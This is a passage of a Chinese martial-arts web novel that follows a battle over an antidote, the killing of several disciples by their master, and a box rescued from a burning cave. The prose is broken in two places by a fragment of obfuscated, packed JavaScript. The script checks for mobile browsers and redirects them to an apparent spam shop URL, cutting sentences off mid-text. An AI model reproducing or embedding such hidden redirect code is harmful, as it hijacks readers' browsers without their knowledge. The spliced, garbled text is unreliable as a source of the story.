姬花青一怔,道:“当真?在哪?” 雨馀凉道:“我们已经找到了。” 姬花青道:“既如此,快回瑚庄!将解药带给覃七霄和尹敕,这儿我来拖住。”姬花青跟瑚庄和龙虎寨的人斗了一路,全没发现覃七霄和尹敕也跟了自己一路。 此时覃七霄和尹敕已慢慢挪到了姬花青和雨馀凉身后的草堆后,听到姬花青和雨馀凉的对话,忙将身子探出草堆,叫道:“花青姐,不用回瑚庄了,我们在这!小兄弟,快把解药拿过来!” 雨馀凉看向姬花青,姬花青先是露出讶异的神色,随后点点头。雨馀凉一手摸着揣在怀里的解药,一边往草堆后面跑。 巴琅和夏篁没想到解药已经到了雨馀凉手中,巴琅心里一沉,想,难道山洞里面他们也去了?瑚庄众人先前和姬花青打得辛苦,没有人想到要关上牢门,更是压根没想到覃七霄和尹敕这两个没有内功的人竟一路尾随他们到了龙虎寨。 巴琅和夏篁同时纵起,一人出掌,一人挺剑,都将雨馀凉作为了目标。姬花青哪能让他们如愿,足尖一抵跃至半空中将二人截住,刀剑相撞,当当两声后一脚踹中夏篁,后者迅速向下坠去,紧接着转身回肘,一肘击中巴琅胸口,巴琅吐出一口血,也落回地面。 姬花青暂时击退巴琅和夏篁后,片刻不停,又在空中一个翻身,赶至被数名寨匪包围住的鲍楚楚和铎占文身旁,刀光几闪,寨匪纷纷倒地。 先前鲍楚楚和铎占文被这些寨匪压得死死的,此刻就像押在胸口的大石一下被移开了一般,终于能呼吸新鲜的空气。 另一头,雨馀凉将装有解药的瓷瓶拿出,将药丸从里面倒出来。那药丸一粒粒的怕是比绿豆还小些,雨馀凉突然想到一个问题,道:“不知要吃多少下去毒才能解?” 覃七霄和尹敕面面相觑,覃七霄道:“那个……尹兄弟,你知道吗?” 尹敕道:“你都不知道,我更不可能知道了。” 覃七霄看向姬花青那边,道:“花青姐和他们打了一晚上,是铁人也撑不住了,我们必须尽快恢复内力去帮花青姐。尹兄弟,我们先一人吃下一颗。”说着从雨馀凉掌心拈起药丸正要服下,忽听见背后有人声传来:“自中毒之日起,每过一日多服一颗,服下解药后静坐调息,让气血在体内脉络中游走一周,毒方能解。” 雨馀凉等人回头看去,只见碧桃搀扶着边潇走来,方才的话,正是碧桃所说。 覃七霄和尹敕按照碧桃所言,计算了二人自来到瑚庄到今天的天数,服下相应数量的药丸,便盘坐调息。 雨馀凉守在覃七霄和尹敕旁边,对边潇和碧桃道:“边兄伤势如何?” 边潇抚上已经缠上绷带的右臂,道:“不碍事,流星锤打中时力道不大,碧桃已经帮我处理过了。”他神色凝重,跟雨馀凉刚在瑚庄见到他时判若两人。 其实,从瑚庄逃出来后,边潇的话比之前就少了很多。 边潇缓缓抬头,往寇传维的方向望去,此时寇传维正带着弟子,与巴琅夏篁合攻姬花青。边潇突然道:“雨兄,真羡慕你武功这么好,我就不行。” 雨馀凉从没想过有一天会有人对他说这样的话。 在他自己心目中,他还是那个谷州刀派人人可欺的笨弟子,蠢得让人讨厌,其他人偶尔觉得他可怜,更多的时候是嫌弃。 雨馀凉听边潇这么说,一时不知道怎么回答,安慰道:“林头领的武功远在那些喽啰之上,边兄对上这么厉害的对手,如若是我,都不知道命还在不在。” 边潇扯开嘴角苦笑一下,雨馀凉看出,他这一笑似是很费了些力气。 只听姬花青一声呼叱,一刀将巴琅匕首挑开,长刀刀势不衰,刀尖径刺寇传维小腹。 姬花青这一刀角度拿捏得很是精巧,以寇传维此刻的姿势和角度,是怎么都避不开这一刀的,并且就算他用手中的剑来格,姬花青的刀也会先一步刺中他的小腹。 边潇看到这一幕,从喉咙里发出一声轻呼,忍不住站了起来,他甚至张开步子,想要去到寇传维身边。 寇传维终究是他师父。 然而就在这电光石火之间,那名刁姓弟子不知是太缺乏临敌经验还是学艺不精还是二者皆有,他在与其他人一同围攻姬花青时,一只脚被另一只脚绊了一下,就像拧麻花一般,两条腿缠在一起,当即重心不稳,狠狠摔在了寇传维的一侧肩膀上。 寇传维也是反应神速,在刀尖离他的身子只有约莫三尺远近时,腰部使力,躯干猛地往后一退,左手一把扯过这名刁姓徒弟挡在自己身前。等姬花青反应过来时,刀尖已经捅入了这名弟子体内。 才刚站起来的边潇一屁股坐倒在地。 姬花青见自己错杀了人,满脸错愕神色,忙伸手接住了那名刁姓瑚庄弟子倒下的身体。巴琅看准这一机会,食中二指相并向姬花青戳来。姬花青正值心神激荡之际,巴琅这一指离她后脑不足六寸她才察觉。姬花青曾吃过诛仇指的大亏,不敢与使出诛仇指的巴琅有任何接触,不禁着了忙,在万分危急中侧头险险避开了这一指。正当此刻,夏篁却又从巴琅身后闪出,黑紫短剑直刺姬花青上盘。 姬花青才避过巴琅的诛仇指,且因避得惊险,心绪尚未平复,此刻又是猝不及防的一剑。她来不及多想,横刀挡在胸前。 只听当的一声巨响,姬花青的长刀断成了两截。 姬花青答应教雨馀凉武功后,第一课便是教他如何在战斗中不被敌人折断兵刃,雨馀凉跟姬花青同行这么久,也从未见后者的长刀损坏过。此刻目睹这一幕,雨馀凉心中大呼不妙,提刀就要上前,一席橘黄色的身影却在这时如风一般从他身旁掠过。 夏篁一击斩断姬花青长刀,立刻转动刀尖,要趁姬花青好不容易露出破绽的机会将她杀了,却突然感到脑后凉飕飕的,夏篁转头一看,只见鲍楚楚朝自己冲来,白色的刀尖映着天光一闪一闪。 这一刀来势极其迅猛,夏篁道了一句:“什么?”不得不放弃剑刺姬花青的大好机会,回剑封住鲍楚楚的这一刀。刀剑相击,碰出数点火花,发出极其响亮的一声。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290220|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夏篁挡下鲍楚楚的这一刀后,左脚向后踏出一步,道:“你又是从哪冒出来的?” 鲍楚楚双手握刀,刀身竖在身前,是谷州刀派刀法的起手,道:“一切都是因为你……你给我爹种下蛊虫,还反复利用侮辱我爹的遗体,不可原谅!” 夏篁皱眉道:“你在说什么?” 过了一会,他仿佛才想起了什么,道:“哦,我记起来了,你是谷州刀派的那个小丫头。” 鲍楚楚冷冷道:“记得就好,免得到阎王那报到都是糊涂鬼。” 夏篁仰头,以手臂遮住双眼,再将手臂放下来时,只见他狞笑道:“黄毛丫头,口气真不小,真是不知天高地厚。”他敛起笑容,沉声道:“我现在有事,没空管你,走开。” 鲍楚楚不答,仍旧竖刀挡在他面前。 夏篁脸色骤然一沉,道:“既然你这么着急去见你爹,我就帮你这个忙!”他刚说完这句话,还未动作,眼角余光就瞥见身侧白光闪动,夏篁身子后仰,躲过铎占文这一刀,紧接着鲍楚楚又挥刀削来。夏篁心想,苍蝇虽不造成什么威胁,却也搅得人够烦,看来眼下是非要先把这两个小鬼料理完不可了。 夏篁深吸一口气,准备在两招之内杀掉鲍楚楚和铎占文,却忽然听见窸窸窣窣的破碎声音,紧接着一条银灰色的物什兜头兜脑地就从自己头顶上方罩下来。 夏篁一惊,贴地躲开,那物什没能抓住夏篁,也贴地朝夏篁卷来,一路扬起尘土杂草泥沙。夏篁着地滚了数滚,眼见那物什就要追上自己,手脚同时往地上一撑,整个身子从地上弹起,那银灰色物什亦跟着蹿上半空。夏篁这才看清,那物什顶端呈现锥形,底下则是一节节钢节。 是链|子枪。 那链|子枪动起来钢节相互碰撞,一边朝夏篁绕来一边发出嘶嘶声响,简直就像蛇一般。 夏篁斜身闪避,看准角度伸脚往钢节上踢去,那链|子枪这才偏离原来的轨道,落到地上。 夏篁也跟着落地,他右手撑地,缓缓起身,顺着一节节钢节看去,只见链|子枪的另一头正是握在尹敕手中。 夏篁心下一沉。 不妙,不妙!玄同教那两个人身上的毒已经解了? 那链|子枪极长,夏篁在心里估计了一下,猜测至少有四丈。武林中将软鞭、九节鞭、链|子枪之类作为武器的人不少,可像尹敕这条链|子枪这么长的却也罕见。这类软兵器,越长越不好控制,可若使用的人能力足够,相应的,则越长威力越大,对敌人来说越危险。威力大不仅指力道和破坏力更大,因为这类兵器极长,攻击范围极大,使用者站在远处就可以逼得使用刀剑等短兵的敌人四处游走,而后者又无法接近使用这类软兵的人,所以很是棘手。 就像尹敕人在极远处,也能控制链|子枪在自己这边兴风作浪。那链|子枪在尹敕手里,便如同一只活物一般。 姬花青见尹敕将链|子枪使得如此熟稔灵活,心想总坛也是来了很不简单的新人。 而她这边,虽然夏篁的注意力被鲍楚楚引走,但巴琅和寇传维,以及其他瑚庄弟子还在。巴琅和寇传维齐头并进,分别使出看家本领精妙招式朝姬花青招呼过来。 姬花青抬眼看着二人来招,在心里分析并思索应对方式,眼见二人顷刻便来到自己面前,姬花青握紧了断刀,正要拆解二人招式,忽然眼前一花,一道身影落在她身前。 只听当当两声,巴琅向后滑出数尺,寇传维动作就没巴琅那么优雅了,他踉跄着向后退出数步,看样子还差点摔倒。 覃七霄举刀挡在姬花青面前,看着巴琅和寇传维等人道:“憋了这么久,总算可以打架了。有没有吓到啊?花青姐?” 79. 毒蛊(六) 姬花青道:“七霄,这里先交给你一会,可以吗?” 覃七霄略微侧过头,露出一颗虎牙,道:“没问题花青姐,你就放心交给我吧。” 姬花青打横抱起那名刁姓弟子,跃至雨馀凉、边潇以及碧桃身旁。 雨馀凉上前问道:“花青前辈,你没事吧?” 姬花青道:“无碍。”说着将抱着的人轻轻放在地上,雨馀凉道:“他……” 那名刁姓弟子躺在地上,道:“大……师兄,我好痛……好痛啊,大师兄……我是不是……就要死了?”他说这话时并没有看着边潇,似乎是连转动眼珠的力气都没有了。 方才姬花青那一刀刺得不浅,她何曾想到寇传维会做到用自己徒弟来挡刀的地步?可一切发生得实在突然,姬花青已经尽力及时缩手回肘,才让那一刀不至于将刁姓弟子捅个对穿。 但割肉断筋的感觉还是由刀刃传到她的手心,有这种感觉,意味着这名刁姓弟子的内脏已经破裂。 姬花青对这种感觉已经习以为常了,可这一次,却灼得她的手掌心一阵阵发麻。虽然当时只是一瞬,但这种感觉似乎现在还停留在她手上。 边潇道:“刁师弟,你不会死的,我们准能治好你!” 姬花青在江湖沉浮多年,知道方才她那一刀下去后,人若是还活着,只能说是奇迹中的奇迹。 刁姓弟子道:“可是我好痛,真的好痛……从来没有这么痛过……”他的话音带上了哭腔,并不断有鲜红的血从他口中涌出。这名姓刁的瑚庄弟子看上去不过十五六岁,很多东西都还没见过,很多事情还没经历过,可如今他察觉到自己似乎马上就要死了,一时间对死亡产生了强烈的抵触和恐惧。 “大师兄,我怕,我还不想死……不想死……”那名刁姓弟子说着,眼中滑出一行眼泪,那行泪水顺着他的眼角滑到太阳穴,最后没入鬓边的头发里。 渐渐地,那名刁姓弟子便一点动静都没有了。 碧桃伸指探了探那名弟子的鼻息,又摸了摸他的脉搏,轻声道:“已经无力回天了……”在那名弟子的脸上,泪痕犹在。 边潇看着师弟紧闭的双眼,嗓音嘶哑道:“刁师弟。”边潇长养在瑚庄,从未出庄到江湖上闯荡,这是他第一次亲眼目睹一个人从活着到死去的全部过程。 一个生命逝去的过程。 边潇垂着头,看到刁姓弟子口鼻处已经开始有些凝固的血迹,吸了吸鼻子,突然十指握紧,将手边的泥土抓出了十道指印。 姬花青站起身,道:“事情还没完,我还要去那边。” 雨馀凉也起身道:“花青前辈,我跟你一起去。” 姬花青看了雨馀凉一眼,迅速将头转了回去,道:“来吧。” 姬花青又回去与覃七霄共斗巴琅和寇传维,雨馀凉则去帮鲍楚楚、铎占文和尹敕对付夏篁。权宁见一群人斗得热闹,心想以自己的武功,加入进去也只是添乱,于是待在那群小童身旁专心保护他们。 姬花青知道巴琅的诛仇指短时间内只可连续使用两次,两次过后,下次再使,就得等上至少两个时辰。正是因为这点,昨夜在瑚庄地牢中时,姬花青眼见巴琅使了两次诛仇指,这之后才能放开手脚和瑚庄以及龙虎寨一众人马相斗。 到现在巴琅又可以使出诛仇指,方才已经用过一次,还剩一次。姬花青一夜未合眼,精力已经有些难以集中了,江湖中人比武,以快打快,情况瞬息万变,若是巴琅冷不丁戳出一指,她没能避开,岂不是各种意义上的完蛋? 姬花青不确定自己的身体还能不能支撑她再中一回诛仇指,不过依上回萧吞所言,大抵是不能的,若她再一次筋脉俱损武功尽失,那件她还未来得及去完成的事要怎么办? 若在做完那件事前就一命呜呼,姬花青死也难以瞑目。 武林人士相斗,位置不断变换,姬花青、覃七霄、尹敕三人打着打着便聚到了一处,姬花青趁此机会对另外两人道:“你俩对付巴琅,剩下两个交给我。” 尹敕道:“为什么?不过话说回来我们为什么要听你指挥?” 姬花青道:“不是指挥,是根据实际情况调整对策。我被巴琅的诛仇指戳一下就没了。” 尹敕怒道:“你开什么玩笑?我和七霄被那什么……什么诛仇指戳一下就有了?” 姬花青道:“在场之人中,诛仇指只对我起作用,你们跟我修炼的不是同一种内功,所以对你们来说,这一招不过就是普普通通带有较强内力的一指罢了,别说一指,戳个十七八指对你们来说都不成问题。” 尹敕一手握住链|子枪的枪柄,一边用另一只手捋过钢节,道:“既如此,你躲开不就成了?再不然削断他手指。” 姬花青道:“这正是诛仇指的邪门之处,就算他没有直接与我接触,指力也会通过兵器或其他东西传到我身上。我跟他打,限制太多,但你们可以直接挡下他这一指,甚至拆解他这诛仇指的指法。” 覃七霄听了姬花青的提议,点头道:“换个人打,我没问题。只是花青姐你一个人对付两个人,可得辛苦一些。” 尹敕虽然没有明确表示同意,但链|子枪下一次甩出,枪头直接飞向了巴琅。 覃七霄是个与雨馀凉年岁相当的少年,但就是这样一个少年,武功就已达到了相当惊人的程度。而正合力对付夏篁的雨馀凉、鲍楚楚和铎占文三人听见覃七霄方才对姬花青所说的话,似乎在场之人中只有他覃七霄和尹敕、姬花青在对付敌人,其他人就像不存在一般。虽然玄同教的人武功是很高,但这么说未免也太瞧不起人,心里都略微有些不爽。 姬花青将手中断刀一扔,刀刃插进地里,刀身兀自不断晃动,随即她用脚尖抵住地上的一把剑,这剑是方才那名刁姓瑚庄弟子被寇传维拉来挡姬花青的刀时落在地下的,姬花青脚一使力,那剑便飞上了半空,姬花青伸手接剑,那剑刚到她手里,丝毫没有停顿,姬花青挥剑就朝夏篁削去。 数招之间,只剑光几闪,姬花青握剑的方式便随自己与夏篁方位角度的变化从正手换到了反手握剑,随后又从反手变为了正手,动作之熟稔流畅,显然是用惯了剑的。 覃七霄一边与巴琅过招,一边转头看向姬花青,心想六年不见,姬花青的武功跟她离教前那会相比厉害了不止一星半点。 夏篁手握黑紫短剑与姬花青交手,很快便感到难以招架,姬花青的下一剑将从哪个方位刺来,夏篁都无从知晓。且姬花青向他刺来的每一剑皆极尽玄妙,夏篁短时间内根本就想不出拆招的方式。不仅如此,在夏篁看来,姬花青的每一剑都暗含十分纷繁的后着,他提防姬花青的这一后手,就防不了另一着后手。一把剑到了姬花青手上,剑招如流水般源源倾泻出来,姬花青出剑快,每一剑之间的间隙都极短。很快,夏篁脸上、身上就被划了数条口子,一旁的地上也溅上了几道血痕。 再看姬花青,依旧毫发无伤。 姬花青右手一转,面无表情地挽了个剑花,对夏篁道:“你的招式我已看尽,你对我来说已经没用了,我也不再陪你浪费时间,做个了断吧。” 血从嘴角滑下,夏篁用手背粗暴抹去,另一只手抚上胸口,道:“你已是魔教叛徒,却又为何要帮魔教的人?”他忽然笑起来,笑声很是尖锐,口中鲜血随着他嘴部的动作一隐一现:“啊……我知道了我知道了,在这里遇到魔教的人,你这个叛徒生怕自己逃不过,于是又重新归顺魔教,想要将功折罪是不是?” 姬花青认为若认真去回应夏篁颠三倒四的揣测,反而是她自己的罪过,于是姬花青一言不发,剑尖斜指地面,一步步地朝夏篁走去。 夏篁敛起了笑容,知道姬花青接下来就要了结自己的性命,只把双眼直直瞪着姬花青,似乎要牢牢记住姬花青的脸,死后化作厉鬼去寻这个取了自己性命的人。 巴琅虽然是他和夏篁、寇传维三人里武功最高的,但覃七霄和尹敕一个是玄同教五护法之一,一个是十二长老之一,二人合力进攻威力不可小觑,覃尹二人一个用刀,一个使链|子枪,近战远攻,面面俱到。覃七霄身法灵活,刀随身走,一会前趋,一会后避,尹敕的链|子枪则使得如鬼似魅,覃七霄与链|子枪的长影交替出现,让巴琅手忙脚乱,身上也多了好几道新伤,有些是尹敕的链|子枪划的,有些则是为覃七霄的刀所削中。 巴琅本身也不是内力深厚型的武人,因此诛仇指对他来说,不仅是对付身怀无涯派内功之人的专门武功,也是他唯一能使出的具有强劲内力的武功。 方才在与覃七霄和尹敕的拼斗中,巴琅一度被覃尹二人逼入绝境。他手执匕首与覃七霄过招,当覃七霄的下一刀攻来时,巴琅认出这一招是专攻人上盘,且若贸然拆解,使这一招之人便会根据对方的拆解方式衍化出极厉害的后着,极难躲掉,于是巴琅向前弯腰勾头,准备直接避开,不给覃七霄以后着反击的机会。不想这是覃七霄的障眼法,巴琅被骗了一招,当覃七霄的刀尖转而由下向上挑来时,巴琅心中大愕,已经来不及调整姿势,只好向后趋避,但对面哪能轻易放过这个机会,尹敕看准这一时机,从远处将链|子枪甩来,那链|子枪在空中弯出几道巨大的弧线,将巴琅的后路尽数堵死。 此时的巴琅,前有利刃后有链|子枪,而留给他的犹疑时间已经很短,不过须臾,他就将既挨刀又挨枪。此种情境,唯有“气”方能破,生死攸关之计,巴琅也管不了那么多了,活命要紧,于是使出诛仇指,强大的内力从他指尖爆出,巴琅一指将尹敕的链|子枪弹开,破了覃尹二人的合围圈,他双足力蹬,赶紧斜身趋出数丈。 如此一来,本打算留着对付姬花青的诛仇指,也就这么浪费掉了。 尹敕先前听姬花青说诛仇指的指力会顺着兵刃对使兵刃的人造成损伤,所以眼见巴琅诛仇指戳上自己的链|子枪,尹敕心里还是有些忐忑,但这之后他并没什么事,方才彻底相信这诛仇指真的只是针对某种特定内功的武功。 汗水混着污泥从巴琅额上滚滚而下,淌进眼睛里,又接着往下淌进伤口里,巴琅有些睁不开眼,同时感到那些伤口又痒又痛。 形势一下变得对他们极为不利,巴琅垂着头,忽然,他左边袖子一抖,一个长短、粗细都与拇指相当的小瓶落入他的手中,巴琅握紧瓶子,左手拇指毫不迟疑拨开瓶塞,接着一仰头将里面不知什么东西尽数倒进了嘴里。待里面的东西倒尽后,巴琅一把丢开瓶子,那瓶子在地上骨碌碌滚去,再看巴琅,他的皮肤似乎正逐渐变红,而他身上的伤口周围也升腾起红色的血雾,就如同体内的血液沸腾了一般。 覃七霄和尹敕见到尹敕身体的变化,都是一惊,相互对视一眼后,依旧摆好了应战的架势。当巴琅浑身的皮肤都变成朱红色后,他突然抬起头来,只见他的眼白都全部变成了红色。 巴琅刚刚服下的秘药是他亲自调配,此药能立即提升服下药物之人的力量和速度,并且让服药者感受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300954|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到疲劳和伤痛。他将此药近身揣着,就是为了面对像现在这样的时刻。 而寇传维见夏篁和巴琅一个被姬花青制住,一个被逼到使出杀手锏的境地,也知道自己不能再浑水摸鱼下去了,他又粗又大的手突然扯过一名瑚庄弟子,那瑚庄弟子被寇传维拑住了一会,皮肤竟逐渐凹陷下去,身上的肌肉也在不断萎缩。这名瑚庄弟子初时尚且剧烈挣扎,越到后来挣扎的幅度越小,到最后,只见他双眼翻白,抓住寇传维手臂的双手也无力地垂了下去。 只见那名瑚庄弟子浑身的皮肉都只剩下了薄薄的一层,紧紧贴着骨头,他双颊深陷,眼球突出,手指关节分明,衣衫松松垮垮地挂在身上,俨然已是一副骨架。 边潇看到这一幕,不管不顾地朝众师弟和寇传维所在的方向奔去。 在边潇奔向寇传维的过程中,寇传维又抓向下一个瑚庄弟子,待将一个徒弟吸成人干后便立即扔在一旁,再抓下一个。那些瑚庄弟子一开始尚未反应过来,之后见到同门的惨状才抬脚要跑,但都无一例外地给寇传维抓了回来。 等寇传维抓到最后一个弟子时,边潇才跑到他们所在的位置,边潇伸直手臂,大叫道:“佟师弟!” 那名姓佟的弟子脸上是极度的惊恐,也拼命向前伸出手道:“大师兄——” 大师兄。 一时间,无数画面一下涌进边潇脑海中。 “大师兄,大师兄!” “大师兄,走,挖竹笋去,今年的竹笋可多了,比往年都多。” “大师兄,下午师父就要检查了,我剑法还没练好,怎么办啊……” 大师兄,大师兄大师兄大师兄…… 明窗下,一群少年站在那,回头看着他,对他伸出手道:“大师兄,就等你了,快来!” 边潇向前跑去,可无论他怎么跑,都始终跑不到终点,不仅如此,眼前的画面反而在疾速向后退去。 边潇拼尽全力去够自己师弟的手,然而只有他们的指尖短暂地触碰了一下,下一刻,佟姓弟子一下便被寇传维扯到了后方。 而在这个过程中,边潇被脚下什么东西绊住,重重俯跌在地。边潇摔倒后,马上抬起头来,只见那名佟姓弟子正从寇传维手中慢慢滑下,最终倒在了地上。 二人的脸离得极近,就那样相互对着。 佟姓弟子内陷的眼窝里,一滴泪水顺着他干枯的脸颊流下,他看着边潇,嘴唇张合。 他是在说:“大师兄,我们对不住你。” 说完这句话,他的头就往旁边一偏,他的眼睛还圆睁着,但眼里已经失去了神采。 方才边潇看得清楚,在寇传维抓住佟师弟时,有虫子从他指尖探出。 瑚庄从来没有驭虫之术,那虫子只可能是巴琅给他的,而那将人吸干的诡异奇术也正是依赖这虫子得以实现。 方才二人指尖相碰时,汗水滑腻腻的涩意和两人手指死命勾在一起却最终被扯开的热痛触感还未远去,边潇朝寇传维大吼道:“为什么???你为什么要这么做???!!!”泪水在他脸上纵横,他从未想过,有一天会对自己一直以来尊敬有加的师父在这种情景下如此说话。 寇传维抬脚跨过佟姓弟子的尸体,弯下腰,瞪眼对边潇道:“因为一个人要成功,总是要牺牲很多人的。” 边潇眯起眼,更多的泪水从他眼眶中涌出,他道:“为什么不牺牲你自己?” 边潇重新将腰直起,居高临下地看着边潇,道:“要成为统领者的人是不能牺牲的。” 寇传维叹了口气,道:“边潇,其实你不闹这么一出,等我成了武林盟主后,你在整个水南武林就是一人之下万人之上的地位,你是我的首徒,我本来是很看重你的。” 边潇咬牙恨道:“你成了盟主又怎样?你以为经过了这件事,我还会心甘情愿地把你当做师父?” 寇传维扬起头道:“那就是你的事了。” 边潇没再说话,只是趴在地上,抬起头,双眼直直瞪着寇传维。 寇传维见边潇瞪着自己,心里突然涌起一股厌烦嫌恶,他上前几步,正要举剑将边潇砍死,倏忽间一道碧黄身影闪过,只见白光一闪,原来是碧桃挺剑刺向寇传维。 寇传维食中二指夹住碧桃的剑刃,道了声:“滚。”随即一拳砸上碧桃的头侧,碧桃身量本就纤细,被寇传维硕大的拳头砸中,整个身子轻飘飘地飞了出去,砰的一声落在地上,当即没了动静。 边潇目眦欲裂,将头转向碧桃,口里大叫:“碧桃!碧桃……” 边潇正要撑地站起,寇传维一脚踢在他胸口上又将他踢翻在地,这一脚势道极大,边潇只觉五脏六腑都痛得搅在了一起,胸中气血一阵翻涌。 寇传维道:“你小子倒也有些本事,竟然让我的剑侍都背叛了我,不过女生外向,这女子有了情郎么,什么父母师长,就都抛诸脑后了。” 鲜血不断从边潇嘴里流出,不一会便在地上积成了一滩,他尽力用手肘撑着地面,饶是如此,他的双臂也在不断颤动,边潇垂着头道:“碧桃做这一切,不是为了我,是为了瑚庄,她所做的事……跟她是女子有什么关系?” 寇传维正待要说什么,却突然听到覃七霄的声音传来:“小心……咦?他怎么往反方向走了?难道是要逃么?” 寇传维抬头望去,见巴琅正往山洞的方向跑,于是对边潇道:“一会来料理你。”说完也纵身朝巴琅所在的方向跃去。 80. 毒蛊(七) 覃七霄和尹敕见巴琅服下不知是什么东西的东西后身体疾速变化,不仅皮肤变红,且有一股强烈的气劲在他身周翻涌,都不敢掉以轻心,当即凝神准备应对。 可出乎二人意料的是,巴琅并没有冲他们来,而是脚一蹬,转身朝反方向跃出。 覃七霄和尹敕对望一眼,都从对方的眼里看到了疑惑,方才巴琅吃下那东西后覃尹二人能感受到他内力暴涨,二人都以为接下来会有一场恶战,可没想到,巴琅直接一个转身,走了。 这是不打算跟他们打,要逃了? 他吃下那个让人搞不懂是什么但看起来很厉害的东西就是为了逃跑? 覃七霄和尹敕虽然觉得蹊跷,却也迅速反应,双双腾跃而起,一齐朝巴琅追去。 不想巴琅突然回过头,双掌齐出朝覃七霄和尹敕拍来,覃七霄以刀锋对准巴琅左掌,尹敕挥舞链|子枪去缠巴琅手腕,若是一般人面对此种状况必撤掌回肘,但让覃七霄和尹敕都没想到的是,巴琅没有要收掌的意思,眼看他一手将被覃七霄刀刃刺穿,一手即将被链|子枪牢牢锁住,然而下一刻,覃七霄与尹敕都口喷鲜血,整个身子向后飞出,重重摔在地上。 覃尹二人摔出后,从地上艰难起身,方才发生了什么,连他们自己都不大清楚。 刚才巴琅双掌拍出,覃尹二人分别以刀枪相迎,不想巴琅却不闪不避,仍旧以双掌攻来。先前并未有迹象表明巴琅会诸如铁砂掌的功夫,这个时候他手上也并没有铁手套之类的物事,他的两掌亦没有直接打在覃七霄和尹敕身上,而是拍在覃七霄佩刀的刀身和尹敕链|子枪的钢节上,但无比强大的内劲似是通过二人的武器传到了他们的躯体,覃尹二人只感到胸口如受重击,随即倒纵出去,覃七霄佩刀脱手,尹敕的链|子枪在空中激起一道圆弧,也从他手中飞出,二人虎口皆迸裂,摔倒后再撑起身子,只觉右手不受控制地发颤。 以双方现在的形势,巴琅本可趁势再给覃七霄和尹敕一击,说不定就能一举将这两个大麻烦解决,可他并没有这样做,击退覃尹二人后,反而是转身继续往山洞奔去。 姬花青制住夏篁,见覃七霄和尹敕这边情势不妙,点了夏篁穴道就疾速赶来。 明明前不久巴琅还不敌覃七霄和尹敕,现在的他竟与之前判若两人。讶异震慑之余,姬花青心想:“这个巴琅不知调配出了多少有不同功效的药物?方才他只是以空掌击上七霄和尹敕二人各自的兵刃,两人就直接被掀翻了出去,以覃尹二人的内功,能做到这一点,在我所知道的人中,恐怕只有两个……”一时间心潮起伏不定。 眼看巴琅进了山洞,姬花青更是疑惑,不知山洞里有什么,让巴琅不顾周遭一切,只一心往这边赶。一边想着,一边脚下不停,也朝山洞的方向追去。 巴琅进了山洞后,径奔向木架后的石壁,手掌拍上石壁右侧,石壁后密室轰然洞开。他取下洞壁上的火把一抛,火光在空中划出一道橘黄色的弧线,当那火把落下后,密室中的一切都剧烈燃烧起来。 跟着巴琅后脚进山洞的姬花青看到这一切,脑海中冒出的第一个念头就是巴琅是在销毁些什么,究竟是什么东西让他宁愿烧掉也不愿意交到玄同教手上?姬花青心一横,纵身跃进了火海。 山洞外,寇传维将上前拦阻他的雨馀凉、鲍楚楚、铎占文都击倒在地。寇传维虽外厉内荏且鸡贼,但好歹是瑚庄之主,武功本就在雨馀凉等人之上,更何况方才通过蛊虫吸取了除边潇外所有徒弟的内力,这些瑚庄弟子虽然单个拎出来内力都不算深厚,但他们的内力加在一起却也相当可观,是以雨馀凉、鲍楚楚、铎占文三人一齐进攻都没能留寇传维片刻,没能伤他分毫。 边潇碧桃、雨馀凉等人留不住寇传维,寇传维马不停蹄地朝巴琅这边赶来,覃七霄和尹敕也稍微平复了气血,重新拾起兵器一同来到山洞这边。 火势已然蔓延到了洞外,一阵阵热浪卷上洞口每个人的脸颊,烈火阻隔了覃七霄、尹敕、寇传维的脚步和视线,谁也不知道此时山洞内是怎样一个情况。 伴随着一声声闷响,东西被摔砸的声响,以及兵刃碰撞的声音,不断有碎石、杂物碎块从山洞中激射而出。 突然,一个匣子从烈焰燃烧的山洞中旋转着飞出,同时姬花青的声音从火中传来:“快将这东西带走!” 覃七霄眼疾手快,一把接过匣子,紧接着只见姬花青和巴琅双双从火中腾跃而出。 先是巴琅拼尽全力想要销毁,后是姬花青舍命带出,覃七霄知道自己手中的定是十分重要的东西,说不定对玄同教意义十分重大,眼下巴琅和寇传维的内力远超之前,他和尹敕又都受了伤,姬花青到底已经叛离玄同教,且立场不明,眼下玄同教的人就只有他和尹敕,此地不可久留,定要将这东西送回教中。趁着姬花青将巴琅拖住之际,覃七霄当下也不犹豫,抱着东西对尹敕说了声:“走!”两人便双双跃起,准备先出了龙虎寨再说。 寇传维眼见覃七霄将匣子带走,抢步上前就要去追。不想姬花青在与巴琅缠斗之中还有余裕注意到他,前者弯腰一捞,将一把掉落在地上的钢刀扔出,一道白光划过,刚好刺穿正跃至半空的寇传维的右手手掌并将其钉在山壁上。在寇传维惨叫声中,姬花青右手架住巴琅的一击,同时右脚踢起地上一把长剑,随后反手抓起掉落在地上的匕首抛出,长剑与匕首分别刺入寇传维左手手臂和左边大腿,再刺入山壁中。锋刃刺入山壁极深,这下寇传维被三柄兵刃牢牢钉住,再难活动。 